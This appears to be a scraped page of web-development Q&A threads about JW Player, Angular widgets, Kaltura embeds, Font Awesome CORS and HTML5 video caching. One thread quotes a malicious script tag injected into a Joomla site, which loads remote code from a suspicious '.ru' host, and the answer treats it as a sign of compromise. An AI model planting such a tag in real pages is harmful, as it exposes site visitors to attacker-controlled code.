JW Player Not Loading on Mapped Domain - heroku

I created a site which I'm running through Heroku and everything is working fine on the app URL:
https://serene-scrubland-3140.herokuapp.com/
I then mapped the app to a custom domain:
http://www.wmpmedia.ca/
On the custom domain the JW player no longer loads at all. I've been through the code a couple times and figure the script is not getting a chance to load. I'm a bit new to this so any advice would be greatly appreciated!

It looks like you are self hosting, and using the cloud hosted player, at the same time.
<script type="text/javascript" src="/jwplayer/jwplayer.js"></script>
And
<script src="http://jwpsrv.com/library/J13GIpn+EeSalhJtO5t17w.js"></script>
Try to remove one of the lines, you shouldn't use it twice. Try to remove the first, if that doesn't work, try to remove the 2nd, and use the first instead.

Related

Load JS widget in Angular View

I have a widget that I want to plug into my angular view. I'm not sure I'm explaining it right but the code I get from the site that makes/hosts the widget is below:
<script src="http://www.somesite.com/widgetfile.js"></script>
This works perfectly fine on a standard html site (just a simple html file loaded locally in my browser). It loads the external JS file and does a document.write onto my DOM as far as I can tell.
The problem I'm having is putting this on a view in an Angular app I've built. I thought it would be the same thing as just copy/pasting the single line of script that the site gave me, but it doesn't work... error i get is below (Chrome).
Failed to execute 'write' on 'Document': It isn't possible to write into a document from an asynchronously-loaded external script unless it is explicitly opened.
I can't use something other than document.write because I don't have access to the file itself, the site that generates the widget does that for me. I've tried doing $http get request in my controller than putting that to a scope variable to be put on the DOM, but I get an error about cross domain security.
Any thoughts? This seems super basic to me since there are thousands of sites that offer "One line of code to embed a widget"... and it works in basic HTML pages. Am I missing something stupid (keep in mind that yes, I did copy and paste the widget script directly from the site that hosts it).
Thanks for the help. I'm pretty new with coding and newer at angular, but this seems like something that should be borderline plug-n-play and not need some complex cross domain workaround.
Try these with these two links.
http://ngmodules.org/modules/angular-widget
https://github.com/cztomsik/ng-widgets

how to solve the kwidget not defined in kaltura

I have modified my modified my html5 library to point my kaltura server. Now I am able to play videos as static html webpage. but I tried in my project which is developed using php, it doesn't play the videos in even PC's too.
It says kwidget is not defined.
I used the kWidget embed code. But it s not happened in auto embed or flash embed.
But I read that kwidget is good to reduce the page load timings
If you are using any MVC, you need to add the mwEmbedLoader script in the service or controller's head. I think you used the kwidget code in view sector and not add your script in controller page. you need to add your script in all the pages wherever the player function calls as below.
You can add that in couple of ways.
<script src="http://youkalturaserver.example.com/p/partnerId/sp/partnerId+00/embedIframeJs/uiconf_id/11170264/partner_id/partnerId"></script>
<script type="text/javascript" src="http://youkalturaserver.example.com/html5/html5lib/v2.69.7/mwEmbedLoader.php"></script>
replace v2.6.7 with current release version:
https://github.com/kaltura/mwEmbed/releases
It will solve this error

Font Awesome not working in Firefox although hosted on the same domain

I have this problem: Font awesome not working in Firefox
But no one there explained why there's a need to play with CORS settings even though the fonts are hosted on the same domain.
/index.html
/fonts/vendor/font-awesome/font-awesome.*
They're being imported using #font-face(). Works fine in Safari/Chrome.
One thing to keep in mind is this is being hosted on Heroku, but is also happening on localhost.
Again, the question is why do I have to allow access control even though the domain is the same?
I've been in the same trouble.
The fastest way is simply using the cdn link :
<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet">
I really don't know exactly what's the problem but I read that happens because there's a CORS configuration issue.
I've just solved using the CDN

Spam looking script tag on top of joomla site

I have a joomla site running but recently I noticed a script tag at the top of the page that looks spammy.
<script type="text/javascript" src="http://lhljoi.ru/tmp/go2.php?site=13"></script>
This tag is even before the doctype element.
I won't be able to share the site's url since boss hasn't allowed to.
Please help.
Thanks!
If this code is not added by your team, it can be someone who hacked your systems and modified the files, particulary when its placed even before the doctype. Check with your server administration team and look for any other infected sites on same server. Or try to roll back to a previous backup

Is possible (and how to) cache an html5 <video> source?

I know this question is rather strange ,so let me explain. I got an html5 application, an avatar that answers questions. However, while not busy, i want my avatar to display a waiting animation. Got my video, and it works just fine, but it is a 2 secs video that i want to access without asking the server every time i have to play it, its just too much traffic. What i want is to download it once, and then be able to play it every time i need. Is there anyway to cache it? Other solutions are wellcomed too ^^.
Thank you guys
I am not sure if that works, but you can try using cache manifest. Here is info on how to use it: http://www.webreference.com/authoring/languages/html/HTML5-Application-Caching/
Briefly:
<!DOCTYPE HTML>
<html manifest="manifest.cache">
....
manifest.cache
#What to cache for reuse
CACHE MANIFEST
index.html
stylesheet.css
images/masthead.png
scripts/misc.js
#What to cache in case network goes down (if network is up it will still try to load it from net)
NETWORK:
search.php
login.php
/api
#What to show when resource is not cached and no way to load it
FALLBACK:
images/dynamic.php static_image.png

Resources